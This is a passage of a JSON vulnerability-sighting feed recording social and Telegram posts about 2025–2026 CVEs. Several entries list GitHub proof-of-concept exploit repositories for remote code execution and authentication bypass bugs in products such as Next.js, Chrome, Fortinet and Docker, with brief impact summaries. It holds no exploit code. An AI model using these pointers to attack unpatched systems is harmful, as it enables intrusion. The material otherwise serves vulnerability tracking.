HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.969433Z"}, {"uuid": "5dff5d16-41ef-4931-96bc-7de46bfd43d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24240", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnln7peqr2m", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24240 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5697BAD9-D8D2-4E60-BB8C-CED61D55D6F2", "creation_timestamp": "2026-07-02T08:14:41.442989Z"}, {"uuid": "4577542e-ade0-441b-9e94-7d71182905b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://t.me/CyberSecurityExploit/29329", "content": "\ud83d\udd25 Recent RCE & Security Research Highlights\n\n1\ufe0f\u20e3 CVE-2025-11730 \u2013 Zyxel ATP/USG Series RCE\nRCE via DDNS configuration abuse in Zyxel ATP/USG firewalls.\nPoC demonstrates remote command execution through crafted DDNS requests.\n\ud83d\udc49 Critical network edge device vulnerability, high risk in enterprise environments.\n\nBlog : https://rainpwn.blog/blog/cve-2025-11730\nPoC : https://github.com/rainpwn/exploits/blob/main/zyxel/rainpwn_cve-2025-11730_ddns_rce.py\n\n\n2\ufe0f\u20e3 CVE-2026-25049 \u2013 n8n RCE (Deep Dive)\nRemote code execution in n8n workflow automation platform.\nAttackers can execute arbitrary commands via vulnerable workflow handling.\n\ud83d\udc49 High impact for CI/CD, automation, and internal tooling environments.\n\n\ud83d\udd17 https://blog.securelayer7.net/cve-2026-25049\n\n\n3\ufe0f\u20e3 The RCE That AMD Won\u2019t Fix\nTechnical analysis of an RCE-class vulnerability affecting AMD components.\nIssue remains unpatched due to architectural and vendor constraints.\n\ud83d\udc49 Long-term risk: unfixable bugs become permanent attack surface.\n\n\ud83d\udd17 https://web.archive.org/web/20260205155934/https://mrbruh.com/amd\n\n\n4\ufe0f\u20e3 CVE-2026-24858 \u2013 Fortinet FortiCloud SSO Admin Bypass\nAuthentication bypass allowing administrative access to FortiCloud SSO.\nSuccessful exploitation grants elevated privileges without valid credentials.\n\ud83d\udc49 Identity and access control failure \u2014 high-value target for attackers.\n\n\ud83d\udd17 https://github.com/absholi7ly/CVE-2026-24858-FortiCloud-SSO-Authentication-Bypass\n\n\n5\ufe0f\u20e3 CVE-2026-25587 / CVE-2026-25641 \u2013 SandboxJS Sandbox Escape\nSandbox escape vulnerabilities in SandboxJS leading to code execution.\nBreaks isolation guarantees intended to safely run untrusted JavaScript.\n\ud83d\udc49 Sandbox escapes often lead directly to full RCE chains.\n\n\ud83d\udd17 https://github.com/advisories/GHSA-66h4-qj4x-38xp\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\n\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:07.614561Z"}, {"uuid": "0c928a14-1e14-4705-b896-1d0f18533de8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24242", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnlu7dnvu27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24242 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/BD27A575-9C4D-4D37-9729-E824374B350B", "creation_timestamp": "2026-07-02T08:18:37.118606Z"}, {"uuid": "d80563ea-77e8-41cf-9a01-410450256624", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24242", "type": "seen", "source": "https://bsky.app/profile/qiancx.bsky.social/post/3mpnluamnha2g", "content": "\u6df1\u5ea6\u89e3\u6790NVIDIA Megatron Bridge\u6f0f\u6d1e(CVE-2026-24242):Linux\u7cfb\u7edf\u5b89\u5168\u98ce\u9669\u4e0e\u9632\u62a4\u6307\u5357\n\n\n\nhttps://qian.cx/posts/03B00322-E097-4B94-8D2F-1B8F89B5BB25", "creation_timestamp": "2026-07-02T08:18:37.717930Z"}, {"uuid": "13803e47-13d9-4530-a558-21ab64015acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/newsfacts.bsky.social/post/3mtfqh6zemb2q", "content": "Varonis ontdekt nieuwe \u2018CoSnitch\u2019 kwetsbaarheid in Microsoft Copilot die datadie\n\nVaronis Threat Labs heeft een ernstige kwetsbaarheid ontdekt in Microsoft Copilot Personal, genaamd CoSnitch (CVE-2026-24301). Deze kwetsbaarheid stelt aanvallers in staat om met slechts \u00e9\u00e9n klik op een kwaadaa...", "creation_timestamp": "2026-08-19T03:00:20.230437Z"}, {"uuid": "3bc6d1cd-6668-4aa3-bed3-94b4a3ce81db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24888", "type": "seen", "source": "https://gist.github.com/hayageek/05ef86a8272d03ab9e54ab5476cf7afe", "content": "\n### CVE-2026-3455 - ✓\nhttps://github.com/advisories/GHSA-7gmj-h9xc-mcxc\nhttps://github.com/nodemailer/mailparser/issues/412\n\n\n###  CVE-2026-24888 - ✓\nhttps://github.com/microsoft/maker.js/security/advisories/GHSA-2cp6-34r9-54xx\n\n\n###  CVE-2026-25244 - ✓\nhttps://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7\n\n### CVE-2026-43975 - ✓\nhttps://github.com/advisories/GHSA-3gmf-p6r4-q8m6\n\n\n### CVE-2026-42563 - ✓\nhttps://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf", "creation_timestamp": "2026-08-11T09:43:37.207488Z"}, {"uuid": "65b2714d-1afa-4b89-b07a-20201417d871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24260", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mporuip3ma2n", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24260 \u0432 NVIDIA Container Toolkit: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/27E972B7-38BC-4440-9DD0-DFA55E984CEF", "creation_timestamp": "2026-07-02T19:38:47.883019Z"}, {"uuid": "e5a61690-5c9f-4a36-977d-9bdefb898914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31014", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:03.826634Z"}, {"uuid": "a2ad27f9-e38e-45b5-9c3e-83ecd0b9b186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/31013", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real GitHub PoC repositories (strictly validated).\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-1668\n\ud83c\udfaf Firmware Exploit \u2013 Memory Corruption \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/tangrs/cve-2026-1668-poc\n\n\ud83e\udde0 Overview\nA firmware-level vulnerability enabling memory corruption and potential remote code execution. Active PoC confirms exploit feasibility.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Firmware compromise\n\u2022 Embedded system takeover\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/huseyinstif/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine enables arbitrary code execution inside the renderer via crafted HTML.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Browser exploitation vector\n\u2022 Potential sandbox escape chaining\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-25526\n\ud83c\udfaf Jinjava Template Engine \u2013 SSTI \u2192 RCE\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/av4nth1ka/jinjava-cve-2026-25526-poc\n\n\ud83e\udde0 Overview\nA Server-Side Template Injection vulnerability allowing attackers to execute arbitrary code via crafted template payloads.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Backend compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-26030\n\ud83c\udfaf Microsoft Semantic Kernel \u2013 RCE via Vector Store\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/mbanyamer/CVE-2026-26030-Microsoft-Semantic-Kernel-1.39.4-RCE\n\n\ud83e\udde0 Overview\nA vulnerability in Microsoft Semantic Kernel allows code execution via unsafe vector store handling. Public PoC confirms exploitability.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI / LLM pipeline compromise\n\u2022 Data processing abuse\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-34040\n\ud83c\udfaf Docker Engine \u2013 AuthZ Bypass \u2192 Privileged Container (RCE Chain)\n\n\ud83d\udd17 PoC / Exploit Context\n\u27a1\ufe0f https://github.com/moby/moby/security/advisories/GHSA-x744-4wpc-v9h2\n\n\ud83e\udde0 Overview\nA critical authorization bypass in Docker Engine allows attackers to bypass security plugins by sending oversized HTTP requests. The request body is truncated before validation, enabling malicious container creation with elevated privileges.\n\n\u2699\ufe0f Impact\n\u2022 Authorization bypass\n\u2022 Privileged container creation (root access)\n\u2022 Full host compromise via container escape\n\u2022 CI/CD & cloud infrastructure risk\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Firmware exploitation techniques\n\u2022 Browser memory corruption exploitation\n\u2022 SSTI \u2192 backend RCE chains\n\u2022 AI/LLM framework attack surface\n\u2022 Modern web framework bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Strict PoC validation required (fake links increasing)\n\u2022 Browser & AI-related vulnerabilities rising\n\u2022 RCE chains often start from logic bypass\n\u2022 Real exploit repos are limited but high quality\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T12:00:03.961053Z"}, {"uuid": "f9b2b534-181b-43ba-b6e5-a7a6e97b5409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "Telegram/USWfQvtWRn55dUchm2mJHIQl53ORlB6SCQPjU_w_J65K", "content": "", "creation_timestamp": "2026-08-19T23:00:04.227859Z"}, {"uuid": "dfa92940-2f29-495c-9b9a-77f1fdbdfa7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "Telegram/USWfQvtWRn55dUchm2mJHIQl53ORlB6SCQPjU_w_J65K", "content": "", "creation_timestamp": "2026-08-20T00:00:07.353638Z"}, {"uuid": "d4b39a31-0273-40d5-bc25-ea4f9a303fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24212", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3msxqry6l7e2r", "content": "A critical-severity fix just shipped for Nvidia Isaac Launchable. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-24212", "creation_timestamp": "2026-08-13T13:29:02.418487Z"}, {"uuid": "57bb53fa-dd06-4ee6-b879-2070b9a27487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "seen", "source": "https://bsky.app/profile/bluehatone.bsky.social/post/3mt4xbymmad2q", "content": "AI agents can leak data. Asana\u2019s server mixed customer data. About 1,000 were notified and it was offline nearly two weeks. Shared vector databases can leak across tenants. AnythingLLM exposed a Qdrant key, CVE-2026-24477. Fix it: audit agents, least privilege, logs, kill switch.", "creation_timestamp": "2026-08-15T15:08:41.375117Z"}, {"uuid": "b5f7aabc-d7c8-4b32-9b9c-215d85fd36d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mtfzibvdch2u", "content": "CoSnitch:Microsoft Copilot\u306e\u8106\u5f31\u6027\u30011\u56de\u306e\u30af\u30ea\u30c3\u30af\u3067\u30c7\u30fc\u30bf\u304c\u5bc6\u304b\u306b\u76d7\u307e\u308c\u308b\u6050\u308c\n\nMicrosoft Copilot Personal\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027(CVE-2026-24301\u3001\u901a\u79f0\u300cCoSnitch\u300d)\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u304c\u60aa\u610f\u3042\u308b\u30ea\u30f3\u30af\u3092\u88ab\u5bb3\u8005\u306b\u30af\u30ea\u30c3\u30af\u3055\u305b\u308b\u3060\u3051\u3067\u3001\u9023\u643a\u3055\u308c\u305f\u30a2\u30ab\u30a6\u30f3\u30c8\u304b\u3089\u6a5f\u5bc6\u60c5\u5831\u3092\u5bc6\u304b\u306b\u76d7\u307f\u51fa\u305b\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u304c\u5206\u304b\u308a\u307e\u3057\u305f\u3002 Microsoft\u306f\u3001Varonis T...", "creation_timestamp": "2026-08-19T05:41:57.179182Z"}, {"uuid": "990d71e4-2cbe-44d5-9305-b3c61c2b4e86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24266", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpybtps3hw2c", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-24266](https://github.com/NVIDIA/product-security/tree/main/2026/5848)\nNVIDIA Triton In...\nhttps://github.com/NVIDIA/product-security/tree/main/2026/5848 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-06T14:18:39.368032Z"}, {"uuid": "57f096f3-ae7d-485f-9004-b8f15f4f6476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24013", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpys3zc3ua2g", "content": "CVE-2026-24013: Apache IoTDB: Authentication Bypass via Forged SessionID in Thrift RPC", "creation_timestamp": "2026-07-06T19:09:37.781177Z"}, {"uuid": "20ae9aec-7995-4e1f-ab31-925fc743a169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24012", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpyseyhbm32c", "content": "CVE-2026-24012: Apache IoTDB: Denial of Service via Resource Exhaustion in Aggregation Query", "creation_timestamp": "2026-07-06T19:14:38.761423Z"}, {"uuid": "33fd5114-ced9-4155-8285-dd45e32e4d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24014", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpysv577xg2h", "content": "CVE-2026-24014: Apache IoTDB: Path Traversal in DataNode Internal RPC Trigger JAR Upload Allows Arbitrary File Write", "creation_timestamp": "2026-07-06T19:23:40.724232Z"}, {"uuid": "5414cdc6-f081-44c0-a391-76321b26e406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24013", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpywluimbu2z", "content": "CVE-2026-24013 - apache iotdb\nApache IoTDB's authentication system can be tricked into accepting fake session IDs, allowing attackers to read sensitive time-series data without permission. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apacheiotdb #apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-06T20:30:07.508044Z"}, {"uuid": "f68fb8fb-3cd6-491d-bb35-00aabcb1b33c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24014", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpywlvq6ic2e", "content": "CVE-2026-24014 - apache iotdb\nApache IoTDB allows an attacker to write files on the system if the internal RPC port is exposed to an untrusted network. This could lead to unauthorized data\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#apacheiotdb #apachefoundation #CVE #infosec", "creation_timestamp": "2026-07-06T20:30:08.486559Z"}, {"uuid": "f0736d14-6f73-4fbb-9ea7-b89d721ea7a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24301", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mtg5g6ykacya", "content": "Microsoft Copilot Personal\u306b\u8106\u5f31\u6027\u3001\u9023\u643a\u30a2\u30d7\u30ea\u304b\u3089\u30ef\u30f3\u30af\u30ea\u30c3\u30af\u3067\u30c7\u30fc\u30bf\u3092\u6d41\u51fa\u3055\u305b\u308b\u6050\u308c\uff08CVE-2026-24301\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47254/", "creation_timestamp": "2026-08-19T06:52:23.277658Z"}, {"uuid": "95636741-4726-4812-8367-117aed230ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24780", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mq3batsda42l", "content": "CVE-2026-24780 - autogpt_platform\nThe AutoGPT Platform's API had a security flaw that allowed users to execute malicious code on the server. This could potentially allow an attacker to gain control\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#autogptplatform #agpt #pip #CVE #infosec", "creation_timestamp": "2026-07-07T18:46:05.255183Z"}, {"uuid": "f2c981f3-705c-4271-9ddf-e856b1eeb98c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24014", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq4am2dxdh2f", "content": "\ud83d\udccc CVE-2026-24014 - Apache IoTDB DataNode\u2019s internal RPC interface for creating Trigger instances uses the uploaded Trigger JAR name to build a file path without sufficie... https://www.cyberhub.blog/cves/CVE-2026-24014", "creation_timestamp": "2026-07-08T04:07:07.286154Z"}, {"uuid": "29c20110-b39e-4f1a-bcab-21b21ecead48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24013", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mq4iyb7lug2g", "content": "\ud83d\udccc CVE-2026-24013 - Authentication Bypass by Spoofing vulnerability in Apache IoTDB.\nCertain Thrift RPC query handlers lack strict validation of the sessionId\nparameter. ... https://www.cyberhub.blog/cves/CVE-2026-24013", "creation_timestamp": "2026-07-08T06:37:06.994752Z"}, {"uuid": "78afd2aa-4257-4539-8c39-a9dd2630836b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24697", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116884978509623557", "content": "A new vulnerability with increased severity was disclosed for Cisco RV130 and other products (CVE-2026-24697) https://vuldb.com/vuln/376872", "creation_timestamp": "2026-07-08T15:07:12.140293Z"}, {"uuid": "7115b7e7-815c-4820-a209-a8b77dd84a41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24698", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116885031205203938", "content": "There is a new vulnerability with elevated criticality in Cisco RV130 and other products (CVE-2026-24698) https://vuldb.com/vuln/376881", "creation_timestamp": "2026-07-08T15:20:36.186706Z"}, {"uuid": "b022ef5f-90aa-4731-8a7b-a139c5a97477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24698", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq5pkgwrsc26", "content": "CVE-2026-24698 - Cisco RV Series OS Command Injection Vulnerability\nCVE ID : CVE-2026-24698\n \n Published : July 8, 2026, 